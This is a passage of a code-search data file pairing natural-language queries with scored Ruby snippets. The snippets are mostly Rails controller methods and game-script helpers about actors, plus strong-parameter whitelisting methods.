"b3c0aa68e63adb1877d128bc46e7fb1c", "score": "0.5838818", "text": "def actor\n\tactor = {name: \"Dwayne The Rock Johnson\"}\n\nend", "title": "" }, { "docid": "63c315687ce7aff365e9670dc712bb42", "score": "0.582104", "text": "def show\n @actors = Actor.find(params[:id])\n @actor_tweets = ActorTweet.select(\"*\").where(id_actor: @actors.id_actor)\n @hashtags = Hashtag.select(\"*\").where(id_actor: @actors.id_actor)\n @cuentas = Cuentum.select(\"*\").where(id_actor: @actors.id_actor)\n @palabra_claves = PalabraClave.select(\"*\").where(id_actor: @actors.id_actor)\n end", "title": "" }, { "docid": "25bc9fba726d25c86d2c768a5e597417", "score": "0.5818703", "text": "def actors\n self.auditions.pluck(:actor)\n end", "title": "" }, { "docid": "584d8fde3a6fccb6979224c2590c0189", "score": "0.58080846", "text": "def next_actor\n @actor_index += 1\n @actor_index %= $game_party.members.size\n $scene = Scene_Skill.new(@actor_index)\n end", "title": "" }, { "docid": "9e7fc19400d416075c163cc4bdb90bcd", "score": "0.57973135", "text": "def users\n actors\n end", "title": "" }, { "docid": "ef66418ac065e2591a9ac738199ea0ac", "score": "0.57910055", "text": "def index\n @actors = Actor.all\n end", "title": "" }, { "docid": "ef66418ac065e2591a9ac738199ea0ac", "score": "0.57910055", "text": "def index\n @actors = Actor.all\n end", "title": "" }, { "docid": "ef66418ac065e2591a9ac738199ea0ac", "score": "0.57910055", "text": "def index\n @actors = Actor.all\n end", "title": "" }, { "docid": "92a689757bded8cd2338d061b6e3ce16", "score": "0.5779639", "text": "def show\n @actors = Actor.find(params[:actor_id])\n @palabra_clafe = PalabraClave.find(params[:id])\n end", "title": "" }, { "docid": "1dabd3da4af211afe115ad2158632981", "score": "0.5772457", "text": "def select_last\n return $game_party.menu_actor.index || 0\n end", "title": "" }, { "docid": "5964fd73a4b65579c37cb3dc08502291", "score": "0.5760531", "text": "def index\n # The variable @actors receive all actors.\n @actors = Actor.all\n end", "title": "" }, { "docid": "6d75372b4a0ed73ac1e43c24f2f47bd2", "score": "0.5759072", "text": "def select_last\n select($game_party.menu_actor.index || 0)\n end", "title": "" }, { "docid": "6d75372b4a0ed73ac1e43c24f2f47bd2", "score": "0.5759072", "text": "def select_last\n select($game_party.menu_actor.index || 0)\n end", "title": "" }, { "docid": "6d75372b4a0ed73ac1e43c24f2f47bd2", "score": "0.5759072", "text": "def select_last\n select($game_party.menu_actor.index || 0)\n end", "title": "" }, { "docid": "6d75372b4a0ed73ac1e43c24f2f47bd2", "score": "0.57579136", "text": "def select_last\n select($game_party.menu_actor.index || 0)\n end", "title": "" }, { "docid": "04b18975b543df9dc40c597893576948", "score": "0.5748683", "text": "def actor\n nil\n end", "title": "" }, { "docid": "950ee31edf79d19d9d1acf2f892ae5c7", "score": "0.57320195", "text": "def set_actor\n @actor = Actor.find_by(id_external: params[:id])\n end", "title": "" }, { "docid": "99fcad8626de3fa8c8f29a19cb45e6a5", "score": "0.5726685", "text": "def actor\n @actor ||= begin\n @options[:name] = @wiki.default_committer_name if @options[:name].to_s.empty?\n @options[:email] = @wiki.default_committer_email if @options[:email].to_s.empty?\n Grit::Actor.new(@options[:name], @options[:email])\n end\n end", "title": "" }, { "docid": "eee68e37368ebbe33763999cd38e51df", "score": "0.57195663", "text": "def actors\n #@actors ||= performances.collect {|x| Performance.get(x.id).actor}\n @actors ||= performances.actor\n end", "title": "" }, { "docid": "46305d1367d6789a555fe5d7655ec3a6", "score": "0.5716265", "text": "def actor(actor_or_actor_name)\n if actor_or_actor_name.is_a? String or actor_or_actor_name.is_a? Symbol\n send(actor_or_actor_name)\n else\n actor_or_actor_name\n end\n end", "title": "" }, { "docid": "742c84e6024c1bd4014934403319c3bc", "score": "0.57069093", "text": "def prev_actor\n @actor_index += $game_party.members.size - 1\n @actor_index %= $game_party.members.size\n $scene = Scene_Skill.new(@actor_index)\n end", "title": "" }, { "docid": "739ac4253654be07c242d562686abaae", "score": "0.5699656", "text": "def prev_actor\n index = @actor.id - 1\n index = ($data_actors.size - 1) if index < 1\n @actor = $game_actors[index]\n on_actor_change\n end", "title": "" }, { "docid": "a5492016ccee57796c30ebad27e82167", "score": "0.5690373", "text": "def switch_actor\n # get next actor in line\n @actor = $game_party.actors[(@actor.index+1)%$game_party.actors.size]\n # refresh display\n refresh\n # if previous actor had more skills than the current one\n if @index >= @item_max\n # set cursor to last skill\n @index = @item_max - 1\n # update cursor\n update_cursor_rect\n end\n end", "title": "" }, { "docid": "a5492016ccee57796c30ebad27e82167", "score": "0.5690373", "text": "def switch_actor\n # get next actor in line\n @actor = $game_party.actors[(@actor.index+1)%$game_party.actors.size]\n # refresh display\n refresh\n # if previous actor had more skills than the current one\n if @index >= @item_max\n # set cursor to last skill\n @index = @item_max - 1\n # update cursor\n update_cursor_rect\n end\n end", "title": "" }, { "docid": "4300d1615b4fcbce35c737048270a881", "score": "0.5690145", "text": "def actor_name(actor)\n actor.name || actor.to_s\n end", "title": "" }, { "docid": "030cd7f6222dfe46775d9bc152abe4f5", "score": "0.5685171", "text": "def actors\n movie_actor =MovieActor.all.find_all do |movieactor|\n movieactor.movie == self \n end\n movie_actor.map do |ma|\n ma.actor\n end\n end", "title": "" }, { "docid": "394cbe0ca4166b133421531cc9f15dcf", "score": "0.567791", "text": "def actor_detail actor\n name = ''\n link = 'javascript:void(0)'\n if actor.is_fan?\n name = actor.get_full_name\n link = fan_profile_url(actor)\n elsif actor.is_artist?\n name = actor.name\n link = show_artist_url(actor)\n elsif actor.is_venue?\n name = actor.name\n link = show_venue_url(actor)\n end\n return {:name =>name, :link =>link}\n end", "title": "" }, { "docid": "755f94a32d223a03de132e61b095c6e9", "score": "0.56770587", "text": "def dp3_status_screen_get_actor_id( actor )\n actor_id = actor.is_a?(Integer) ? actor : nil\n if actor.is_a?(String)\n for i in 1..($data_actors.size - 1)\n if $game_actors[i].name.upcase == actor.upcase\n actor_id = $game_actors[i].id\n break\n end\n end\n end\n return actor_id\n end", "title": "" }, { "docid": "7a32e8fc526ce5e0e53880d4aa765763", "score": "0.5674803", "text": "def prev_actor\n @actor_index += $game_party.members.size - 1\n @actor_index %= $game_party.members.size\n $scene = Scene_Equip.new(@actor_index, @equip_window.index)\n end", "title": "" }, { "docid": "7a32e8fc526ce5e0e53880d4aa765763", "score": "0.5674803", "text": "def prev_actor\n @actor_index += $game_party.members.size - 1\n @actor_index %= $game_party.members.size\n $scene = Scene_Equip.new(@actor_index, @equip_window.index)\n end", "title": "" }, { "docid": "f65cd1edd214b616c54d8f9ee255d465", "score": "0.56691265", "text": "def actors\n self.characters.collect{ |character| character.actor }\n end", "title": "" } ]
e561e11bcf379ef5dc139c210017366b
Only allow a list of trusted parameters through.
[ { "docid": "feadbbafd39e351da5b4b77c26d607f8", "score": "0.0", "text": "def f_amigo_params\n params.require(:f_amigo).permit(:first_name, :last_name, :email, :phone, :twitter, :user_id)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.74768823", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.71700543", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.7044907", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "55ec6c1cf1b67ffe1cee0d4fec651d18", "score": "0.7009515", "text": "def allowed_params(*list)\n list.flatten!\n @list_of_allowed_params ||= []\n @list_of_allowed_params += list.map(&:to_s)\n\n params.each do |key, value|\n next if @list_of_allowed_params.index(key.to_s).present?\n\n fail! \"Parameter :#{key} is not allowed\", key.to_sym\n end\n end", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.69897616", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.6773957", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.6758029", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "53d67b9c2ed1e0132c46653273fc708d", "score": "0.67139274", "text": "def whitelisted_args\n args.select(&:allowed)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6638781", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "caf5e21ffb495f1a2566ca6a564a6fdb", "score": "0.6633307", "text": "def allowed_arguments(arguments); end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.6630876", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "c31ef48e8fd467d94158d7ac7f405a3f", "score": "0.65786487", "text": "def list_params\n params.permit(:id, :public_id, :name, :list, :visibility, values: [])\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.6551157", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6529035", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6529035", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "cac0774e508766d2f487cbca3db95df0", "score": "0.650781", "text": "def allow_params?\n definition[:param_tokens]\n end", "title": "" }, { "docid": "58d1451e57b0e767db2fc6721dfaa6be", "score": "0.64761394", "text": "def allowed_parameters\n parameters.keys\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.64282405", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.63983387", "text": "def filtered_parameters; end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.63592577", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.6339914", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.6327032", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.63192505", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "706df0e25391ed2b932f54a646bb0a10", "score": "0.6280703", "text": "def list_name_param opts={}\n params.require(:list).permit(:name)\n end", "title": "" }, { "docid": "839591b72f27e154e4840464f1f4684d", "score": "0.6278046", "text": "def whitelist=(lst)\n uri.querystring_params[\"whitelist\"] = lst.split(\",\").map(&:strip).reject{|e|e.blank?}\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.62771213", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "e64490ed35123aafa1b4627bd165517d", "score": "0.62693745", "text": "def allowed_params\n [:title, :description, :is_template, :template_id, :user_id, :color]\n end", "title": "" }, { "docid": "094cae2a77f3def05726eb7961449324", "score": "0.62682945", "text": "def allowed; end", "title": "" }, { "docid": "cc60076a498957ddcd05472aa576a2b1", "score": "0.62651163", "text": "def param_whitelist\n case action_name\n when 'create'\n [:type, :author_id, :participant_ids]\n else\n [:participant_ids]\n end\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.62642586", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.62642586", "text": "def check_params; true; end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.6229388", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.6229388", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6213818", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "21e97a45d3f9fc907204c8dfd146be09", "score": "0.62028986", "text": "def required_params(*list)\n list.flatten!\n @list_of_allowed_params ||= []\n @list_of_allowed_params += list.map(&:to_s)\n list.map(&:to_s).each do |param|\n next if params[param].present?\n\n fail! \"Parameter :#{param} should be present\", param\n end\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.61983657", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.61918944", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "9ac9542f33069f9d46e4393194623b4c", "score": "0.61912215", "text": "def snippets_list_params\n params.require(:snippets_list).permit(:is_public, :tags)\n end", "title": "" }, { "docid": "69d3720ae33b0a9e88f3a951595e767f", "score": "0.6184765", "text": "def sanitize_parameters!(sanitizer, params)\n endian = params[:endian] || self.endian\n fields = params[:fields] || self.fields\n hide = params[:hide] || self.hide\n\n params[:endian] = endian unless endian.nil?\n params[:fields] = fields\n params[:hide] = hide\n\n # add default parameters\n default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n super(sanitizer, params)\n end", "title": "" }, { "docid": "a322581bdbf994c8ac99b2f8da40b18f", "score": "0.61772996", "text": "def user_params\n params.require(:user).permit(:first_name,:last_name,:email).tap do |whitelisted|\n p params[:user][:role_ids].reject { |c| c.empty? }\n whitelisted[:role_ids] = params[:user][:role_ids].reject { |c| c.empty? }\n end\nend", "title": "" }, { "docid": "9e289c8e3757ad76ffbd2a6991acef28", "score": "0.61578906", "text": "def allowed_params\n %i[\n user_defined_id_statelocal\n user_defined_id_cdc\n user_defined_id_nndss\n first_name\n middle_name\n last_name\n date_of_birth\n age\n sex\n white\n black_or_african_american\n american_indian_or_alaska_native\n asian\n native_hawaiian_or_other_pacific_islander\n ethnicity\n primary_language\n secondary_language\n interpretation_required\n nationality\n address_line_1\n foreign_address_line_1\n address_city\n address_state\n address_line_2\n address_zip\n address_county\n monitored_address_line_1\n monitored_address_city\n monitored_address_state\n monitored_address_line_2\n monitored_address_zip\n monitored_address_county\n foreign_address_city\n foreign_address_country\n foreign_address_line_2\n foreign_address_zip\n foreign_address_line_3\n foreign_address_state\n foreign_monitored_address_line_1\n foreign_monitored_address_city\n foreign_monitored_address_state\n foreign_monitored_address_line_2\n foreign_monitored_address_zip\n foreign_monitored_address_county\n primary_telephone\n primary_telephone_type\n secondary_telephone\n secondary_telephone_type\n email\n preferred_contact_method\n preferred_contact_time\n port_of_origin\n source_of_report\n source_of_report_specify\n flight_or_vessel_number\n flight_or_vessel_carrier\n port_of_entry_into_usa\n travel_related_notes\n additional_planned_travel_type\n additional_planned_travel_destination\n additional_planned_travel_destination_state\n additional_planned_travel_destination_country\n additional_planned_travel_port_of_departure\n date_of_departure\n date_of_arrival\n additional_planned_travel_start_date\n additional_planned_travel_end_date\n additional_planned_travel_related_notes\n last_date_of_exposure\n potential_exposure_location\n potential_exposure_country\n contact_of_known_case\n contact_of_known_case_id\n travel_to_affected_country_or_area\n was_in_health_care_facility_with_known_cases\n was_in_health_care_facility_with_known_cases_facility_name\n laboratory_personnel\n laboratory_personnel_facility_name\n healthcare_personnel\n healthcare_personnel_facility_name\n exposure_notes\n crew_on_passenger_or_cargo_flight\n monitoring_plan\n exposure_risk_assessment\n member_of_a_common_exposure_cohort\n member_of_a_common_exposure_cohort_type\n isolation\n jurisdiction_id\n assigned_user\n symptom_onset\n case_status\n ]\n end", "title": "" }, { "docid": "4f7be6ec5bf491c0125e1c2091de0a80", "score": "0.61395127", "text": "def place_allow_list_params\n params.permit(:place_id, :group_category_id, :enable)\n end", "title": "" }, { "docid": "3512da8c3cbc10950f1c278d883a22d0", "score": "0.6128934", "text": "def check_permit!\n tracker.find_call(:method => :permit!).each do |result|\n if params? result[:call].target and not result[:chain].include? :slice\n warn_on_permit! result\n end\n end\n end", "title": "" }, { "docid": "3ae7a4551c9ded91965010fecb51d76b", "score": "0.6116012", "text": "def validate_parameters(allow: [], required: nil, require_any_of: nil) # rubocop:disable Metrics/CyclomaticComplexity, Metrics/PerceivedComplexity\n if required\n raise ArgumentError, \"Expected required parameters as Array of Symbols, got #{required}\" unless required.is_a?(Array) && required.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: `#{required}` must be provided\" unless @opts.is_a?(Hash) && required.all? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n allow += required\n end\n\n if require_any_of\n raise ArgumentError, \"Expected required parameters as Array of Symbols, got #{require_any_of}\" unless require_any_of.is_a?(Array) && require_any_of.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: One of `#{require_any_of}` must be provided.\" unless @opts.is_a?(Hash) && require_any_of.any? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n allow += require_any_of\n end\n\n allow += %i(client_args stub_data aws_region aws_endpoint aws_retry_limit aws_retry_backoff resource_data)\n raise ArgumentError, \"Scalar arguments not supported\" unless defined?(@opts.keys)\n raise ArgumentError, \"Unexpected arguments found\" unless @opts.keys.all? { |a| allow.include?(a) }\n raise ArgumentError, \"Provided parameter should not be empty\" unless @opts.values.all? do |a|\n return true if a.instance_of?(Integer)\n return true if [TrueClass, FalseClass].include?(a.class)\n !a.empty?\n end\n true\n end", "title": "" }, { "docid": "356c5fd5dcbe9214f1330792fa2e18b5", "score": "0.61158365", "text": "def param_whitelist\n whitelist = [\n :name,\n :details,\n :completed,\n :started_at, :finished_at,\n :team_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:team_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "f19218511bb46b261576fd4a0359ddd0", "score": "0.6112491", "text": "def public_list_params\n params.require(:public_list).permit(:name, :description, places_attributes: [])\n end", "title": "" }, { "docid": "76ec9935ef327d0b5d1af534978cb4f8", "score": "0.6111488", "text": "def voter_list_params\n params.require(:voter_list).permit(:user_id, :selection_process_id, :estado, :search, :admission)\n end", "title": "" }, { "docid": "96a4c3e9d28624613a41897ea478af4c", "score": "0.6111325", "text": "def list_params\n params.require(:list).permit(:name, :description, :user_id)\n end", "title": "" }, { "docid": "b275e68d657aac7565b7da55922cbcae", "score": "0.6102179", "text": "def should_filter_params(*keys)\n ::ActiveSupport::Deprecation.warn(\"use: should filter_param\")\n keys.each do |key|\n should filter_param(key)\n end\n end", "title": "" }, { "docid": "5775dd2574b8acbba92a6a825c2a30b7", "score": "0.6079451", "text": "def allow_scopes(*args)\n @target.filterable_scopes = args\n end", "title": "" }, { "docid": "7e3b725e746658a932308b2245800100", "score": "0.6065513", "text": "def list_params\n params.require(:list).permit(:user_id)\n end", "title": "" }, { "docid": "b436ac15f83c93ec97a7852cc3cd560d", "score": "0.6064122", "text": "def list_params\n params.require(:list).permit(\n :name, :user_id, :location_ids => []\n )\n end", "title": "" }, { "docid": "f5b444bcf4dbe089582ac3c3cf81ca92", "score": "0.60615236", "text": "def price_list_params\n params.fetch(:price_list, {}).permit(PriceList::PERMITED_PARAMS)\n end", "title": "" }, { "docid": "d5df8448adfa675e6d25aeb23d7a5e34", "score": "0.6058738", "text": "def sanitize_query_fields\n allowed_fields = @list.property_index_keys\n return request.query_parameters.select {|key, val| allowed_fields.include?(key)}\n end", "title": "" }, { "docid": "61d793e7f8b92dfddfe9ee932db6bae5", "score": "0.60527927", "text": "def my_list_params\n params.require(:my_list).permit(:user_id, :query)\n end", "title": "" }, { "docid": "3da9117a80cdfd040f0f0ed9d3ffed55", "score": "0.60501283", "text": "def allowable_params(unfiltered_params)\n unfiltered_params.permit(:property_id, :branch_id, :client_name, :branch_name,\n :department, :reference_number, :address_name, :address_number, :address_street,\n :address2, :address3, :address4, :address_postcode, :country, :display_address,\n :property_bedrooms, :property_bathrooms, :property_ensuites, :property_reception_rooms,\n :property_kitchens, :display_property_type, :property_type, :property_style,\n :property_age, :floor_area, :floor_area_units, :property_feature1, :property_feature2,\n :property_feature3, :property_feature4, :property_feature5, :property_feature6,\n :property_feature7, :property_feature8, :property_feature9, :property_feature10,\n :price, :for_sale_poa, :price_qualifier, :property_tenure, :sale_by,\n :development_opportunity, :investment_opportunity, :estimated_rental_income,\n :availability, :main_summary, :full_description, :date_last_modified,\n :featured_property, :region_id, :latitude, :longitude,\n flags_attributes: [:title],\n images_attributes: [:url, :modified],\n floorplans_attributes: [:url, :modified],\n epc_graphs_attributes: [:url, :modified],\n epc_front_pages_attributes: [:url, :modified],\n brochures_attributes: [:url, :modified],\n virtual_tours_attributes: [:url, :modified],\n external_links_attributes: [:url, :description, :modified])\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6045103", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.6032686", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "25220437209ae6056988e50c38a01211", "score": "0.6025226", "text": "def trust_params\n trusts = params.select { |k, _v| k.starts_with?(\"vault_entry_\") }\n permitted_params = {}\n trusts.keys.each do |trust|\n permitted_params[trust] = [:id, :name, :notes, :document_id, agent_ids: [], trustee_ids: [], successor_trustee_ids: [], share_ids: [],\n share_with_contact_ids: []]\n end\n trusts.permit(permitted_params)\n end", "title": "" }, { "docid": "08a3b9a8de9dd7334ffe66919731cb94", "score": "0.60225105", "text": "def permit_params!(params)\n if @allow_all_params\n params.permit!\n elsif @allowed_params\n @allowed_params.each do |resource, attributes|\n if params[resource].respond_to? :permit\n params[resource] = params[resource].permit(*attributes)\n end\n end\n end\n end", "title": "" }, { "docid": "4aa2ef6967e8f3024acea2b3d1cfd9e5", "score": "0.6019055", "text": "def allow_list_all?\n false\n end", "title": "" }, { "docid": "45791845cef485d15b7014088dd0be8d", "score": "0.60152686", "text": "def allowed_params\n %i[title body]\n end", "title": "" }, { "docid": "cb7fc4ad3e08a4341c6395a2c154c575", "score": "0.6009825", "text": "def filter_params(_sub_object_attribute = nil)\n required = :returns_lbtt_party\n attribute_list = Lbtt::Party.attribute_list\n params.require(required).permit(attribute_list) if params[required]\n end", "title": "" }, { "docid": "cb7fc4ad3e08a4341c6395a2c154c575", "score": "0.6009825", "text": "def filter_params(_sub_object_attribute = nil)\n required = :returns_lbtt_party\n attribute_list = Lbtt::Party.attribute_list\n params.require(required).permit(attribute_list) if params[required]\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.6003619", "text": "def filter_parameters; end", "title": "" }, { "docid": "0c9d4c365c1621bdf0a6b700bd6e3bef", "score": "0.59931374", "text": "def cleanedParams(params)\n params.select {|k, v| ALLOWED_PARAMS.include? k}\n end", "title": "" }, { "docid": "71f97bda880101aa36b21017c0787f98", "score": "0.5989032", "text": "def validate_params\n invalid_parameter = @params.find { |key, value| !ConsolidatedScreeningList::PARAMETERS.key?(key) }\n raise ArgumentError, \"Invalid parameter: #{@params}\" if invalid_parameter\n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.5984926", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.59798354", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" }, { "docid": "f023b3871638291b75273a71bc75459c", "score": "0.59747314", "text": "def page_list_params\n params.permit(:url_list)\n params[:page_list].permit!\n end", "title": "" }, { "docid": "d78d0776c63005d7f56f3a21b5e4c50a", "score": "0.59729695", "text": "def user_list_params\n params.require(:user_list).permit(:user_id, :list_id)\n end", "title": "" }, { "docid": "4cf4346dd54b99fe0a7782ceaf7c26be", "score": "0.5971315", "text": "def quotation_list_params\n params.require(:quotation_list).permit!\n end", "title": "" }, { "docid": "38ed4234ecadfc5889a7c25028dc9a58", "score": "0.5965672", "text": "def sanitize(params = {})\n blacklist = options.fetch(:blacklist, []).map(&:to_s)\n redacted_string = options.fetch(:redacted_string, 'REDACTED')\n params.each do |param, _value|\n params[param] = redacted_string if blacklist.include?(param.to_s)\n end\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.5962804", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "5fc4ba2ae074a90a66c53c25e751f3f0", "score": "0.5960231", "text": "def black_list_params\n params.require(:black_list).permit(:user)\n end", "title": "" }, { "docid": "63f5e4e9733f9e6b3f98d5e069440292", "score": "0.595559", "text": "def black_list_params\r\n params.require(:black_list).permit(:user)\r\n end", "title": "" }, { "docid": "8e519fbf8b7f524a91ac5c7f842a6121", "score": "0.59538776", "text": "def validate_params_present!; end", "title": "" }, { "docid": "037a774fcd9c86ff09a88570fba7bebd", "score": "0.59527713", "text": "def filter_for ownable\n # get the class name of the ownable\n class_name = ownable.class_name_to_sym.to_s\n \n # make sure params format is as follows:\n # { ownable_class_name: {param1: :value, param2: :value} }\n params.required(class_name)\n\n # return {} if !params || params.empty?\n\n # get a list of attributes that are allowed for this item\n # could be true, false, or an array of allowed attributes\n allowed_attributes = attributes_for(ownable)\n\n # decide how to handle the received attributes\n if allowed_attributes == true\n \n # allow all\n params.permit!\n\n elsif allowed_attributes == false\n \n # allow none\n params.permit *[]\n\n else\n \n # filter out everything except allowed_attributes\n params.permit *allowed_attributes\n \n raise params.to_yaml\n end\n\n end", "title": "" }, { "docid": "d4e0fd0cd70ef3707f081791087f33b6", "score": "0.5949399", "text": "def validate_parameters(allow: [], required: nil, require_any_of: nil)\n opts = @opts\n allow += %i(azure_retry_limit azure_retry_backoff azure_retry_backoff_factor\n endpoint api_version required_parameters allowed_parameters display_name method)\n Validators.validate_parameters(resource_name: @__resource_name__,\n allow: allow, required: required,\n require_any_of: require_any_of, opts: opts)\n true\n end", "title": "" }, { "docid": "d7f0d4c3dc66c34a6e17c0a14432c0e9", "score": "0.5946416", "text": "def verification_list_params\n params.require(:verification_list).permit!\n end", "title": "" }, { "docid": "5ed866fb3c6ebdffbc794d04bb9f2531", "score": "0.5945795", "text": "def list_params\n params.fetch(:list, {}).permit(\n :name\n )\n end", "title": "" }, { "docid": "ba0704d4182a1a6fb0a743f6eb9cd25e", "score": "0.59403497", "text": "def check_params\n\t\t\t return []\t\t\t \n\tend", "title": "" }, { "docid": "229afde2ab7c3109de2027d47fba2c70", "score": "0.5937114", "text": "def white_list_params(params, allowed_values, ignored_values = [])\n result = {}\n params.each_pair do |key, value|\n if allowed_values.include? key\n result[key] = value\n elsif !ignored_values.include?(key)\n raise SwaggerInvalidException.new(\"Unknown property [#{key}] with value [#{value}]#{list_or_none(allowed_values, 'properties')}\")\n end\n end\n result\n end", "title": "" }, { "docid": "a99f218b156087cc665291b5dfc21e1f", "score": "0.59363353", "text": "def validate_parameters(allow: [], required: nil, require_any_of: nil)\n if required\n raise ArgumentError, \"Expected required parameters as Array of Symbols, got #{required}\" unless required.is_a?(Array) && required.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: region must be provided via environment variable or hash parameter\" if required.include?(:region) && (!@opts.is_a?(Hash) || (@opts[:region].nil? || @opts[:region] == \"\"))\n raise ArgumentError, \"#{@__resource_name__}: `#{required}` must be provided\" unless @opts.is_a?(Hash) && required.all? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n\n allow += required\n end\n\n if require_any_of\n raise ArgumentError, \"Expected required parameters as Array of 